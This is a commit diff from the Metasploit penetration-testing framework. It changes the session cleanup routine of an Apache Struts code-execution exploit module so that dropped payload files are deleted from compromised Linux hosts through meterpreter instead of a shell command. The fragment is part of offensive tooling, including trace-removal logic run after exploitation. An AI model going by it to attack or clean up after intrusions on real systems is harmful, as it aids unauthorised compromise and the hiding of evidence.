struts_code_exec_exception_delegator_on_new_session: on_new_session modified

unstable
jvazquez-r7 2012-06-11 12:07:38 +02:00
parent a43cf76591
commit 02a5dff51f
1 changed files with 17 additions and 6 deletions

View File

@ -167,13 +167,24 @@ class Metasploit3 < Msf::Exploit::Remote
end
def on_new_session(client)
if target['Platform'] == 'linux'
print_status("Deleting #{@payload_exe} payload file")
execute_command("/bin/sh@-c@rm #{@payload_exe}")
else
print_status("Windows does not allow running executables to be deleted")
print_status("Delete the #{@payload_exe} file manually after migrating")
if client.type != "meterpreter"
print_error("Please use a meterpreter payload in order to automatically cleanup.")
print_error("The #{@payload_exe} file must be removed manually.")
return
end
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
if client.sys.config.sysinfo["OS"] =~ /Windows/
print_error("Windows does not allow running executables to be deleted")
print_error("The #{@payload_exe} file must be removed manually after migrating")
return
end
print_status("Deleting the #{@payload_exe} file")
client.fs.file.rm(@payload_exe)
end
def exploit